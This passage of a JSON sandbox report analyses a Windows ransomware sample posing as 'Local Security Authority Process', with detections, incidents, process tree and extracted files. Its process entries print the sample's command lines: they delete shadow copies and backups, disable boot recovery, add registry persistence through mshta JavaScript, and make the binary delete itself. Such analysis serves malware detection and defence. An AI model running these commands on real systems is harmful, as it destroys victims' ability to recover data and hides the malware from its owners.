name","description":"\"LocalSecurityAuthorityProcess.bak.exe.bin\" has a section named \".itext\"","origin":"Static Parser","relevance":10,"id":"static-60","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Tries to suppress failures during boot (often used to hide system changes)","description":"Tries to suppress failures during boot \"cmd.exe\" with commandline \"/c bcdedit /set {default} bootstatuspolicy ignoreallfailures\" (UID: 00008320-00002732)\n Tries to suppress failures during boot \"bcdedit.exe\" with commandline \"bcdedit /set {default} bootstatuspolicy ignoreallfailures\" (UID: 00008374-00001992)","origin":"Monitored Target","relevance":8,"id":"target-6","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"49/68 Antivirus vendors marked sample as malicious (72% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"49/68 Antivirus vendors marked sample as malicious (72% detection rate)","origin":"External System","relevance":8,"id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"level":"malicious","category":"General","name":"The analysis spawned a process that was identified as malicious","description":"49/68 Antivirus vendors marked spawned process \"\" (PID: 3420) as malicious (classified as \"Gen:Heur.Zard\" with 72% detection rate)\n 49/68 Antivirus vendors marked spawned process \"Local Security Authority Process.exe\" (PID: 3176) as malicious (classified as \"Gen:Heur.Zard\" with 72% detection rate)","origin":"Monitored Target","relevance":10,"id":"target-58","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"level":"malicious","category":"Installation/Persistance","name":"Allocates virtual memory in a remote process","description":"\"\" allocated memory in \"\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\Zones\\1\"\n \"\" allocated memory in \"\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\KindMap\"\n \"Local Security Authority Process.exe\" allocated memory in \"\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Rpc\\Extensions\"\n \"Local Security Authority Process.exe\" allocated memory in \"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\"\n \"mshta.exe\" allocated memory in \"\\REGISTRY\\MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\LanguagePack\\SurrogateFallback\"\n \"mshta.exe\" allocated memory in \"HKCU\\Software\\Microsoft\\Internet Explorer\"","origin":"API Call","relevance":7,"id":"api-20","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"level":"malicious","category":"Installation/Persistance","name":"Writes data to a remote process","description":"$30","origin":"API Call","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"level":"malicious","category":"Ransomware/Banking","name":"Deletes volume snapshots (often used by ransomware)","description":"Deletes volume snapshots files \"vssadmin.exe\" with commandline \"vssadmin Delete Shadows /All /Quiet\" (UID: 00008349-00002556)\n Deletes volume snapshots files \"WMIC.exe\" with commandline \"wmic SHADOWCOPY DELETE\" (UID: 00008367-00001244)","origin":"Monitored Target","relevance":10,"id":"target-4","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"level":"malicious","category":"Ransomware/Banking","name":"The analysis extracted a known ransomware file","description":"Found dropped filename \"HOW TO RECOVER ENCRYPTED FILES.TXT\" which has been seen in the context of ransomware (Indicator: How To Recover Encrypted Files.txt)","origin":"Binary File","relevance":5,"id":"binary-9","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"level":"malicious","category":"System Destruction","name":"Deletes system state backups (often used by ransomware)","description":"Deletes system state backups using \"wbadmin.exe\" with commandline \"wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0\" (UID: 00008363-00003576)","origin":"Monitored Target","relevance":10,"id":"target-85","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"$31","origin":"Monitored Target","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]}],"incidents":[{"name":"Remote Access","details_count":1,"details":[{"detail":"Reads terminal service related keys (often RDP related)"}],"sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"Ransomware","details_count":3,"details":[{"detail":"The analysis extracted a known ransomware file"},{"detail":"Deletes volume snapshots (often used by ransomware)"},{"detail":"Detected indicator that file is ransomware"}],"sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"Persistence","details_count":4,"details":[{"detail":"Writes data to a remote process"},{"detail":"Disables startup repair"},{"detail":"Tries to suppress failures during boot (often used to hide system changes)"},{"detail":"Spawns a lot of processes"}],"sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"Fingerprint","details_count":3,"details":[{"detail":"Found a dropped file containing the Windows username (possible fingerprint attempt)"},{"detail":"Reads the active computer name"},{"detail":"Reads system information using Windows Management Instrumentation Commandline (WMIC)"}],"sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"Spreading","details_count":1,"details":[{"detail":"Opens the MountPointManager (often used to detect additional infection locations)"}],"sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]}]},"activity":{"stats":{"process_count":18,"spawned_processes_count":18,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":26,"imported_dlls_count":86,"dropped_files_count":0,"extracted_files_count":95,"files_written_count":124,"files_deleted_count":0,"registry_keys_created_count":6,"registry_keys_modified_count":0,"registry_keys_deleted_count":5,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":11,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":0,"dns_resolutions_count":0,"contacted_urls_count":0,"http_requests_count":0},"behavior_tags":["contentocrypt","crypt","downloader","filecoder","genasom","kitoles","pulobe","ransomware"],"sample_flags":["Multi-Process","Extracted Files"],"sandbox_reports":[{"id":"5b1df6f07ca3e149ae2b26e9","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Gen:Heur.Zard","submit_name":"Local Security Authority Process.bak","analysis_start_time":"2018-06-11T05:11:18+00:00","indicators_count":{"informative":24,"suspicious":28,"malicious":13},"tags":["Multi-Process","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":null,"dns_resolutions":null,"http_requests":null},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}],"processes":[{"pid":3472,"ppid":0,"name":"LocalSecurityAuthorityProcess.bak.exe","command_line":"","sha256":"c7693a1e87d86abe237bc4b2a781847570d48b1aa2b7bdda4651256979e24ade","normalized_path":"C:\\LocalSecurityAuthorityProcess.bak.exe","uid":"00007493-00003472","icon":"$32"},{"pid":3716,"ppid":3472,"name":"cmd.exe","command_line":"/c copy /y \"C:\\LocalSecurityAuthorityProcess.bak.exe\" \"%APPDATA%\\Local Security Authority Process.exe\"","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00007493-00003472","uid":"00007683-00003716"},{"pid":3420,"ppid":3472,"name":"LocalSecurityAuthorityProcess.bak.exe","command_line":"runas","sha256":"c7693a1e87d86abe237bc4b2a781847570d48b1aa2b7bdda4651256979e24ade","normalized_path":"C:\\LocalSecurityAuthorityProcess.bak.exe","parent_uid":"00007493-00003472","uid":"00007700-00003420"},{"pid":3476,"ppid":3420,"name":"cmd.exe","command_line":"/c copy /y \"C:\\LocalSecurityAuthorityProcess.bak.exe\" \"%APPDATA%\\Local Security Authority Process.exe\"","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00007700-00003420","uid":"00007859-00003476"},{"pid":3176,"ppid":3420,"name":"Local Security Authority Process.exe","command_line":"","sha256":"c7693a1e87d86abe237bc4b2a781847570d48b1aa2b7bdda4651256979e24ade","normalized_path":"%APPDATA%\\Local Security Authority Process.exe","parent_uid":"00007700-00003420","uid":"00007876-00003176"},{"pid":2396,"ppid":3176,"name":"mshta.exe","command_line":"\"javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('Local Security Authority Process.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\JMAHRDUU',i);}catch(e){}},10);\"","sha256":"db40b518deb81b146cc81b0c360aecc84204e3cdc108b1f5f158ee60c1792806","normalized_path":"%WINDIR%\\System32\\mshta.exe","parent_uid":"00007876-00003176","uid":"00008111-00002396"},{"pid":3080,"ppid":3176,"name":"mshta.exe","command_line":"\"javascript:eval(new ActiveXObject('WScript.Shell').RegRead('HKCU\\\\Software\\\\XQBLC\\\\ECDBR'));close();\"","sha256":"db40b518deb81b146cc81b0c360aecc84204e3cdc108b1f5f158ee60c1792806","normalized_path":"%WINDIR%\\System32\\mshta.exe","parent_uid":"00007876-00003176","uid":"00008114-00003080"},{"pid":2184,"ppid":3080,"name":"cmd.exe","command_line":"/c wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00008114-00003080","uid":"00008264-00002184"},{"pid":3576,"ppid":2184,"name":"wbadmin.exe","command_line":"wbadmin DELETE SYSTEMSTATEBACKUP -keepVersions:0","sha256":"be527c6085cd944097de35b9740fc4dd24d455567bec596e9cc300d70c5a392d","normalized_path":"%WINDIR%\\System32\\wbadmin.exe","parent_uid":"00008264-00002184","uid":"00008363-00003576"},{"pid":3836,"ppid":3080,"name":"cmd.exe","command_line":"/c wmic SHADOWCOPY DELETE","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00008114-00003080","uid":"00008288-00003836"},{"pid":1244,"ppid":3836,"name":"WMIC.exe","command_line":"wmic SHADOWCOPY DELETE","sha256":"132aa270790f56a7524cab968927ed5e1d91b9a26d4badcb24e450e7decc5f81","normalized_path":"%WINDIR%\\System32\\wbem\\WMIC.exe","parent_uid":"00008288-00003836","uid":"00008367-00001244"},{"pid":3556,"ppid":3080,"name":"cmd.exe","command_line":"/c vssadmin Delete Shadows /All /Quiet","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00008114-00003080","uid":"00008299-00003556"},{"pid":2556,"ppid":3556,"name":"vssadmin.exe","command_line":"vssadmin Delete Shadows /All /Quiet","sha256":"e09bf4d27555ec7567a598ba89ccc33667252cef1fb0b604315ea7562d18ad10","normalized_path":"%WINDIR%\\System32\\vssadmin.exe","parent_uid":"00008299-00003556","uid":"00008349-00002556"},{"pid":3236,"ppid":3080,"name":"cmd.exe","command_line":"/c bcdedit /set {default} recoveryenabled No","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00008114-00003080","uid":"00008309-00003236"},{"pid":2680,"ppid":3236,"name":"bcdedit.exe","command_line":"bcdedit /set {default} recoveryenabled No","sha256":"aa501dc5b621527b0e3dd2787d4969647631c4904d3ae9fc06d177251bc760e3","normalized_path":"%WINDIR%\\System32\\bcdedit.exe","parent_uid":"00008309-00003236","uid":"00008359-00002680"},{"pid":2732,"ppid":3080,"name":"cmd.exe","command_line":"/c bcdedit /set {default} bootstatuspolicy ignoreallfailures","sha256":"17f746d82695fa9b35493b41859d39d786d32b23a9d2e00f4011dec7a02402ae","normalized_path":"%WINDIR%\\System32\\cmd.exe","parent_uid":"00008114-00003080","uid":"00008320-00002732"},{"pid":1992,"ppid":2732,"name":"bcdedit.exe","command_line":"bcdedit /set {default} bootstatuspolicy ignoreallfailures","sha256":"aa501dc5b621527b0e3dd2787d4969647631c4904d3ae9fc06d177251bc760e3","normalized_path":"%WINDIR%\\System32\\bcdedit.exe","parent_uid":"00008320-00002732","uid":"00008374-00001992"},{"pid":4032,"ppid":3420,"name":"mshta.exe","command_line":"\"javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('LocalSecurityAuthorityProcess.bak.exe');close()}catch(e){}},10);\"","sha256":"db40b518deb81b146cc81b0c360aecc84204e3cdc108b1f5f158ee60c1792806","normalized_path":"%WINDIR%\\System32\\mshta.exe","parent_uid":"00007700-00003420","uid":"00007877-00004032"}],"all_imported_dlls":["version.dll","dwmapi.dll","oleaccrc.dll","shlwapi.dll","rpcss.dll","devobj.dll","sspicli.dll","mshtml.dll","cryptsp.dll","framedynos.dll","ws2_32.dll","kernel32.dll","davhlpr.dll","msimtf.dll","wtsapi32.dll","wbemprox.dll","msxml3.dll","iertutil.dll","msvcrt.dll","cfgmgr32.dll","RpcRtRemote.dll","nsi.dll","clbcatq.dll","oleaut32.dll","oleacc.dll","msasn1.dll","msctf.dll","winsta.dll","dnsapi.dll","wbemsvc.dll","urlmon.dll","usp10.dll","rpcrt4.dll","apphelp.dll","winbrand.dll","davclnt.dll","psapi.dll","msls31.dll","imm32.dll","vssapi.dll","comctl32.dll","ntlanman.dll","winnsi.dll","fastprox.dll","ntdsapi.dll","atl.dll","user32.dll","shell32.dll","setupapi.dll","propsys.dll","cscapi.dll","sxs.dll","scrrun.dll","msvcr90.dll","wkscli.dll","netutils.dll","browcli.dll","cryptbase.dll","advapi32.dll","ntdll.dll","gdi32.dll","drprov.dll","KernelBase.dll","sechost.dll","Wldap32.dll","ieframe.dll","jscript.dll","blbres.dll","IPHLPAPI.DLL","msxml3r.dll","lpk.dll","wininet.dll","crypt32.dll","uxtheme.dll","slc.dll","secur32.dll","vss_ps.dll","profapi.dll","rsaenh.dll","credui.dll","wbemcomn.dll","MSOXMLMF.DLL","vsstrace.dll","mpr.dll","ole32.dll","ntmarta.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"HOW TO RECOVER ENCRYPTED FILES.TXT","sha256":"799f594c5d060a6e140903d1e607df6d026eac3437ddc5f7486f39d680a424c5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"AiodLite.dll","sha256":"0c74c6c37a5dd1bd01510a9755134a1606acd4c45f8ebfc3838c545b7956df81","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"Liesmich.htm","sha256":"860333e37032401f69d877c03a46a88a6fbc5002b0191f8a6de466ff37de6e46","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"ReadMe.htm","sha256":"a1984c4760cd66f7b84f071b55ed2564f61915a2f48dd491d996495cfc832dda","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"A3DUtils.dll","sha256":"bcff3a2cfacc6f0cb18316d5e75ce3524f7e4e440de0fffd2b7fdbde8171f24f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"ACE.dll","sha256":"66cf0a80f696c46408fc0eca8246443a5cc3fc8bf34b7974508d487ee6063a79","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"AGM.dll","sha256":"00c62a159b67519748d10dc41394b3fe7dfca2ca1fdf7a0735030edc014a498a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"AGMGPUOptIn.ini","sha256":"f1779d5a79adfe6a07f317dbe860600061150bc73a57ba02fa1d8e7786dc0dec","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"nppdf32.DEU","sha256":"26f050b342d0c4b27e1248970024e7f677c6871d8c8570f89ad6c0ba3b7a2973","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"nppdf32.dll","sha256":"13a6c7f4bac30164b05dfac05629f53f92d09a0af26442a60c2556348a1cbce5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"Ñ","sha256":"6e340b9cffb37a989ca544e6bb780a2c78901d3fb33738768511a30617afa01d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"AXE8SharedExpat.dll","sha256":"16dfde3d335fe5c90e3cdb6e4107bbd3b1d5c53c18c213831d7167ad6cde8d22","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"AXSLE.dll","sha256":"0ae8d0ea3dc04d63ad315307b6271391defd267fcd3e58a97d8cf7d0438e2b0a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"AcroBroker.exe","sha256":"e9a8658ecf5505b0f79bc6fdd8407c18e56b00ee11662e89ba4f8aedd2d81928","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"AcroExt.exe","sha256":"ad5639f55bf90b182d103b8913408f4d6d124210c26bf9220a95b7b605a0fc1e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"cef.pak","sha256":"9326fb3ab21e533fa65bb5bc68c920bbd4b8df8206e85e1ebb9e292bc991ba1e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"en-US.pak","sha256":"6c6dc0fa6b52f1dc503da039d45adfe058ac954e304cbdc4bacd87351bbfcd0e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"AcroRd32.exe","sha256":"90e0ea3a2d2c132d60944028e9062237fd063b0a02b2f9d6d54e68a016f4a283","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"AcroRd32Info.exe","sha256":"68b762b95b46e3742493fb37951690892528a0605c7f12d62baf9150c751b305","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"AcroRdIF.dll","sha256":"600e78678e8419bf06abebf0690139ebf7cddc5018ca1be927d8e4ce7114a9c0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"AcroTextExtractor.exe","sha256":"76a47614c54997c42f25dba0e9fb48f1244e8232ca33cb131b267a06c80d1842","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"Acrofx32.dll","sha256":"c532acb4ae827f7de72b07d7e054dfd81b27055209c200ae878d1f744e469fa9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"AdobeCollabSync.exe","sha256":"ee3ca84674e1a81986e25ad1ebae3905e1ec572dea8f27fa79d9364b6a5baa16","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"AdobeLinguistic.dll","sha256":"d0cd539cd2f7fdde9cf4f209c21814d02f70b36154feb4e704bd955753daecdf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"AdobeXMP.dll","sha256":"287d620ef9f77bd0872deb538e3058e553a18a18c86caac046ed4c8fbe74e8e6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"BIB.dll","sha256":"d38593e64c316d67c0f6ce2e4356964e8bc3f0c3575a8a62d5b4f4e4a652d6f2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"BIBUtils.dll","sha256":"d6e803edd2defcd752e92af9c424e05111bcf497d19910d2312b276780f61681","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"CoolType.dll","sha256":"e9b3ad5b06ad135b376d915fcfd2507205875012e75d9e5085c3fb5a86bf00f7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"Eula.exe","sha256":"62dc866415995e1542b8a873d3b4046cbbc1eb48486fc6bb095e0185ce7eb79d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"ExtendScript.dll","sha256":"16b58aa2009c474e5895008522aa15bb164246739a954446080431003b4fb20a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"JP2KLib.dll","sha256":"a8132fe4d078e8421432ee9870d99c1186db451ceb3b1de0dd31df633863ffb4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"LogTransport2.exe","sha256":"8613f422c45add683b3ac53409c8a761af576d8138b310662d5fd10191b81dac","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"Onix32.dll","sha256":"4a5f360fc776eb2c52fe612abd710785a6666d4a7f6ee02db0d2cd1c333e17b3","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"PDFPrevHndlr.dll","sha256":"862ebd09cab2032114b4e0073e14048acd8c6d8a2d660aca94539f814ee46c0a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"RTC.der","sha256":"0f9b7fdbab9b11839921d10f568a8a079ae5fdda46e54988e6f3a853b03c19d7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"ScCore.dll","sha256":"016b75c47a102b78e87579ca732557f414c264d2ea19e9ab573155b722cb5ed8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"ViewerPS.dll","sha256":"e2df11daf6abf91f637e30aaeeb521b8c8345c99250fb21de4100913998ef1eb","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"adoberfp.dll","sha256":"9c0f66de320a034067ca3fe9c7d9e0d163f501d54014b2d407f39047e1c90c58","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"ahclient.dll","sha256":"28a5ea285953fa51b06d9a6991016b668d5c5ebee0c740fc25b49cd188c1cbab","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"arh.exe","sha256":"0b8852a0337ca3b58fdf47924ae14bc267988cd57b18b3085bb126c774e22398","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"ccme_asym.dll","sha256":"04eb18fc53a62000d990472ec3ba86715a4ef734f96ef7ae7f70c270cd6ee6f2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"ccme_base.dll","sha256":"e9ee00e7bbeb1991b8340dd4050905fbc5ffcfc2a016711404457e92bfd8f30a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"ccme_base_non_fips.dll","sha256":"6b91781010ad6d04d99d4961a2087d40e3948a205582b249b4f52ec2b27b6747","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"ccme_ecc.dll","sha256":"4363e65f53be7251c4fc2792935dfb18a14c1d1ae515dfa431a49ddc5b4952c4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"ccme_ecdrbg.dll","sha256":"ed2212dce43013b9a28f5373f14cc7fbdcf31e55355e9d756fc8b84aad9632c6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"cryptocme.dll","sha256":"b089879e4c581ee3e51ef333731abea27478165f4faa263bae5f8bb24df0be26","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"icucnv40.dll","sha256":"8631d56c047a1bb1f88ab8cea4b1ad9a95a1e0f9890b3d7c43740b5c23a7c92c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"icudt40.dll","sha256":"899bdf53f1670e411fe52c2ca48971117d5ac899950263c651090735b31cf938","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"logsession.dll","sha256":"911572bd8ad745be40eabbb30d8e3b80c71a42553f56e10f3e21d74ede94d08d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"pe.dll","sha256":"19f9aade8d573033ee6509acdfddbbf78dcc759b4c830530f96020b7ffaff3a2","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"pmd.cer","sha256":"3716649cfce5d0f6009f4f64fec535294d64d1cf9cdf0f8594ad7aa67e438b79","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"reader_sl.exe","sha256":"0439d6f00dfd9717d516eba3dd5b82e13519fde8447f98b5afeea691d132e3c5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"rt3d.dll","sha256":"ec0f14ad79984262833e86ebc35c61f1898789c947fe5eb7ba75e06ba50a7702","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"sqlite.dll","sha256":"cd45007e90cb29e3c6ea92a7bd58d29b68c55d74c1d77741149e88bb80015dc6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"wow_helper.exe","sha256":"27ac0957d457834070ecc337806a871c82723543acc1e418c69f107f1747cb1e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"autoexec.bat","sha256":"2fddbb8fef0c5f645b999e21bb4d4c9f8dcd94ea72b7d291e7d46c8ba3e99634","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"9rNtWnjTq9RGbU.exe","sha256":"f95e561247786bc5505ca77fc20db1e0f6e2ca5764fde2080cf4ee3fcb9bc627","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"yZw6snqBQ28DAzu.exe","sha256":"6c938e991e91d1e9fc0e37f99eebb1974a455545b5714612c59352f2a8572c59","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"MineSweeper.lnk","sha256":"c9d17d82027141d583373389e8e258206ca9bc98ca1c4c913f8b12c9e99d015d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"rRgk91Ih5n.doc","sha256":"5562b056fa348115bc32cc0a21e3041dcfb278e9b0b89177d4a7ccc015e3234d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"dH1rDN9f9.doc","sha256":"b0db4cd2ef739e24a55aebc423d6ed4a76eb5b57d56b9890f4b27822a7ba403e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"6SZfLTu9z.doc","sha256":"735fdc70d101f7c19d916c8df14b37aa19bdd1f7bd8619b08b27af40c38c6d3e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"lCEf83Wf7e4nuIMk.doc","sha256":"0860aea5e00328456e976fd044cee0e03037fada56f37643c691c244a39468b6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"C04T72pR0Bcl.doc","sha256":"e66e75ffce89ce5200bed7f12fa2e6d70d9c767f7172aa86656988760e266e96","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f07ca3e149ae2b26e9"}]},{"name":"Desktop.lnk","sha256":"91ca86bae8bd908e58edf1ea0364ce4ee3e4f172b1a905a7908db6783348e6cd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5b1df6f